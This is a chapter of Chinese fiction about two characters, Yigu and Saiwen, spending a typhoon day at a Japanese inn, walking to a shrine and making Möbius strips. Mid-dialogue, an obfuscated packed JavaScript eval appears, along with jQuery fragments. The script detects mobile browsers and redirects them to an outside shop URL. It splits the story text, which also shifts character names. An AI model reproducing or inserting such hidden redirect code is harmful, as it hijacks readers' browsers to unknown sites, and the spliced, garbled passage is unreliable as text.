1987年8月26号星期六大雨
凤源哥说生命的缩写是SM,所以他所有的痛苦都说的通了,我问凤源SM什么东西,然后诸星团哥把凤源哥打的更惨了。
——
第二天早上,伊咕是被雨声叫醒的。
不是那种急促的、噼里啪啦的暴雨,是另一种——细密而绵长,像有人在屋顶上筛着一把又一把的沙子。雨声均匀而低缓,落在瓦片上,落在竹叶上,落在院子的石阶上,各自奏出不同的音调,混在一起变成一种湿润的、安心的白噪音。
伊咕翻了个身,发现赛文已经醒了,正侧身靠在窗框边,看着窗外。手里捧着一杯热茶,白气在雨中显得格外清晰。他听见伊咕醒来的动静,也没回头,只说了一句:“今天出不去了。”
伊咕坐起来,裹着被子蹭到窗边。窗外是一个完全不同的世界。昨天傍晚还清晰可见的山谷和竹林,此刻全被雨雾笼罩,像一幅被水洇湿的水墨画。远处的富士山完全消失了,只剩下一片灰白色的虚空,偶尔有风把雨雾吹散一角,露出山影模糊的轮廓,又很快合拢回去。
院子里的小溪水位涨了一些,水声比昨晚更响,哗哗的,像在雨中说着更快的话。石灯笼的灯已经灭了,但雨水顺着石头表面流下来的样子,比亮着灯的时候更好看。
“下雨了?”
赛文喝了一口茶,说:“是台风”
他们下楼吃早饭,和式早餐,有烤鱼、味噌汤、纳豆和米饭。伊咕又拌了很多下纳豆,夹起一颗尝尝味,然后递给赛文,雨没有停的意思,反而越下越稳,像一根根细细的银线垂直地缝着天地。
吃完早饭,赛文向旅馆借了两把伞,一把大的黑伞,一把小的透明伞。
“出去走走。”赛文说,把透明伞递给伊咕。
他们走出旅馆大门。雨落在透明伞的伞面上,发出“噗噗”的轻响,透过伞面能看到雨滴在头顶炸开成细碎的水花。伊咕把伞举高,看着头顶那些透明的雨点在透明的伞面上绽开又滑落,觉得挺有意思的。
赛文撑着黑伞走在她旁边。两个人的脚步踩在被雨水浸透的石板路上,发出“啪嗒啪嗒”的水声。山路两旁是茂密的竹林,竹叶被雨水压得低垂,偶尔有一大滴水珠从叶尖坠落,打在伞面上发出“咚”的一声,比其他的雨声更响。
“看。”赛文说。
伊咕顺着他的目光看过去。路边石缝里长着一株小小的紫阳花,蓝色的,花球被雨水洗得格外鲜亮。花瓣上凝着细密的水珠,每一颗都映着一个小小的天空。她蹲下来看了很久。雨滴打在紫阳花上,花球轻轻颤动,水珠滚落下来,落在青苔上。
“它不怕雨吗?”伊咕问。
“它喜欢雨。”博闻广识的赛文说,“没雨的时候它反而蔫。”
伊咕站起来继续走。走到一处坡道转弯的地方,视野忽然开阔了一些。雨雾中,能看见下方的山谷里有一条小河,河面被雨点打出无数细小的涟漪,像一小片一小片绽开的银子。河边有一座小小的红色鸟居,在雨雾中显得格外鲜艳。
“能走过去吗?”赛文问。
“可以。”
他们沿着湿滑的石阶走下去。伊咕的拖鞋踩在石阶上有点滑,她走得很小心。赛文走在她身后,没有催她,也没有伸手扶。但他和伊咕保持一致的步速。
走到鸟居前的时候,雨忽然小了一些。从密集的银线变成了若有若无的雾丝,落在脸上凉丝丝的。鸟居是木制的,红漆在雨水里显得湿润而深沉,像刚刚被刷过一层亮光油。穿过鸟居,有一条窄窄的参道,通向一座很小的神社。神社的木门关着,门口挂着注连绳,雨水顺着绳结一滴一滴地往下落。
伊咕站在鸟居底下,仰头看雨从红色的横梁边缘坠落。那些水珠拉成细长的线,在风中微微摇晃,像一串透明的珠帘。她想伸手去接,但隔着伞面,接不到。她把伞放低,让雨水落在手掌里。冰凉,清透,带着山间植物和泥土的气息。
她低头看掌心接住的雨水,很小的一捧,能看见自己的掌纹在水光里变得格外清晰。
赛文站在她身后半步的地方,没有说话。雨声包围着他们,像一层温暖的壳。透过雨丝,远处的山影隐隐约约,近处的树叶沙沙作响,空气中弥漫着湿润的草木香气。
“第一次见到你,”赛文开口,声音在雨声中显得比平时低,“那天也下雨,小小的一个奥,全身都湿透了,我看到你的时候,你还在笑。”
伊咕转头看他。赛文的目光落在远处的雨雾中,没有看伊咕,但嘴角的弧度是微微上扬的。
“不记得了。”伊咕说。
“你不记得。但我记得。”
雨又开始密起来了。他们原路往回走,回到旅馆的时候,两个人的肩膀都湿了一点——伞遮不住所有的雨丝。老板娘在玄关递给他们两条热毛巾,笑眯眯地说“快擦擦,别感冒了”。
回到房间,伊咕换下湿了的浴衣,裹着干毛巾坐在窗边。窗玻璃上全是水珠,把外面的世界模糊成一片绿色和灰色的混合体。她伸出手,在玻璃上画了一个圈,圈里透出一小片清晰的竹叶,叶尖正滴着水。
赛文在她旁边坐下,也看着窗外。过了一会儿,他从浴衣口袋里掏出一个东西,放在矮桌上。
是一颗糖。没有包装纸,是那种从大块糖上敲下来的、不规则的碎块,淡黄色的,透明的,像一小块凝固的阳光。
“旅馆柜台放着的,”赛文说,“不知道什么味道的,你尝尝。”
伊咕拿起来放进嘴里。甜味在舌尖慢慢化开,带着一点焦香。不是那种工业制造的统一甜度,是粗粝的、温暖的、会在舌头上留下细微颗粒感的甜。她含了一会儿,糖块在嘴里越来越小,甜味也越来越散,最后化成一缕淡淡的味道咽了下去。
窗外,雨还在下。但比起清晨时,似乎稍微亮了一些。远处的山影在雨雾中露出一小截青灰色的轮廓,然后又被雨雾遮住了。
“雨什么时候停?”伊咕问。
赛文看了一眼窗外:“不知道。”
伊咕很意外,她还以为赛文会告诉她一点关于气象的知识。
赛文伸手把窗玻璃上那个被伊咕画出来的圆圈又抹了抹,让那片竹叶更清楚地透出来。
伊咕看着那片竹叶,看着雨水顺着叶脉滑落,在叶尖凝成一滴,悬在那里,晃了晃,然后坠落。
赛文随便从书架上拿了一本书。
书的扉页上画着一个扭曲的环形,像一条纸带被扭转了半圈再首尾相接。旁边写着:“莫比乌斯环——只有一个面,一条边界。”
她盯着那张图看了很久。只有一个面?他拿起一张纸条,试着按照书上的说明操作:把纸带扭转一百八十度,然后两端粘在一起。他拿起胶水,手有点抖——粘歪了。但她把它放在桌上,用指尖沿着纸带表面慢慢滑动。指尖在纸带上游走,经过了外侧、扭转处,然后……回到了起点。它确实只经过了一个面,没有翻越任何边界。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801662|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只有一个面。”她把纸环放在桌上,觉得这不太可能,但指尖告诉她是真的。她试着在纸带上画一条线,沿着它的中线前进。笔尖在纸面上留下一条连续的痕迹——她在起点处画了一个小圆点,然后开始画线。线绕了一圈,回到起点处的小圆点旁边,正好接上。伊咕画出了一条闭合的、没有中断的线,而且这条线穿过了纸带的每一处表面。
小奥盯着那条线看了很久。这条纸带没有内侧和外侧之分。她结结巴巴的读着书:如果你是一只蚂蚁,沿着这个环爬行,你永远不需要翻越边缘,就会走遍整个表面。一整个宇宙,只有一个面。
“赛文!”她把莫比乌斯环举到赛文前面,“这个东西只有一个面!你看!”
赛文又低头看了看纸环,忽然问了伊咕一个问题:既然它只有一个面,那如果在这上面画两只蚂蚁,一只从起点往左走,一只从起点往右走,它们会遇到吗?
伊咕试着用两支笔同时从纸环的两个方向画线,左手的笔和右手的笔相向而行。两笔画在中途相遇了——在纸环的某个位置,两根线条汇合在一起,像两条河流合并成了同一条。他松开笔,看着那根纸环在桌上安静地躺着。
小奥忽然觉得,如果这个世界也是一条莫比乌斯环,那么所有的路都会在某处汇合。离家的人和归家的人,站在同一个面上的不同位置,其实终点是一样的。只是要走上更长的路才知道。
“不论你走多远,走到哪里,我都会找你,和你见面,带你回家。”伊咕坚定地对赛文说。
赛文没有立刻说话,只是把纸环在手里转了两圈,指尖沿着表面轻轻滑过——和优太刚才的动作一模一样。然后他“嗯”了一声。
“粘得有点歪。”赛文把纸环还给她,“但是对的。”
伊咕把纸环放回书桌上,又在它旁边放了一张新的纸条。她试着再做一条,这一次她扭转时更小心,两端对齐得更整齐。她把它放在桌上,并排看着两条莫比乌斯环,一条有些歪斜,一条整齐端正。但她觉得歪的那条更好看。伊咕把两条环都放在书桌的台灯底下,让灯光照出它们弯曲的轮廓和纸面上细细的纹理。
晚上的时候,伊咕的床褥上多了一个东西。是一个白色的小纸盒,打开盖子,里面躺着一条细细的、银色的金属丝环——和莫比乌斯环一样的形状,扭转了半圈,首尾相接。是赛文送的,不知道是用什么材料做成的项链,摸上去冰凉而圆润。纸盒底垫着一小片灰色绒布。
伊咕把银色的莫比乌斯环项链拿出来,它比纸做的重得多,冰凉的重金属贴着指尖,沉甸甸的,很有存在感。她对着光看,金属表面反射出台灯的光,在扭转处形成一道流畅的弧线,像一条首尾相接的河。
她拿着项链去找赛文,赛文帮伊咕项链后面的卡扣嵌进凹槽,项链发着温柔的银光。
闭上眼睛,伊咕感觉到世界的边缘在看不到的地方连成了一条首尾相衔的弧线。她想象自己正站在莫比乌斯环的表面,沿着那条没有边界的路一直走。没有尽头,没有开始,只有连续不断的每一步。而路的另一端,有人也在走着——方向相反,脚步不同,但终有一天会相遇,在环的某个地方,面对面站定。
来自山岗的晚风从窗口吹进来,把那两条纸环吹得微微动了动,银色的弧线稳稳当当地躺在小奥的胸前,像一只蜷起身体的、安静的小动物,窗户外的光里闪着细碎的亮光。伊咕没有睁眼她他想,等自己走完半圈,赛文大概也走完了另外半圈。他们会在某处碰面。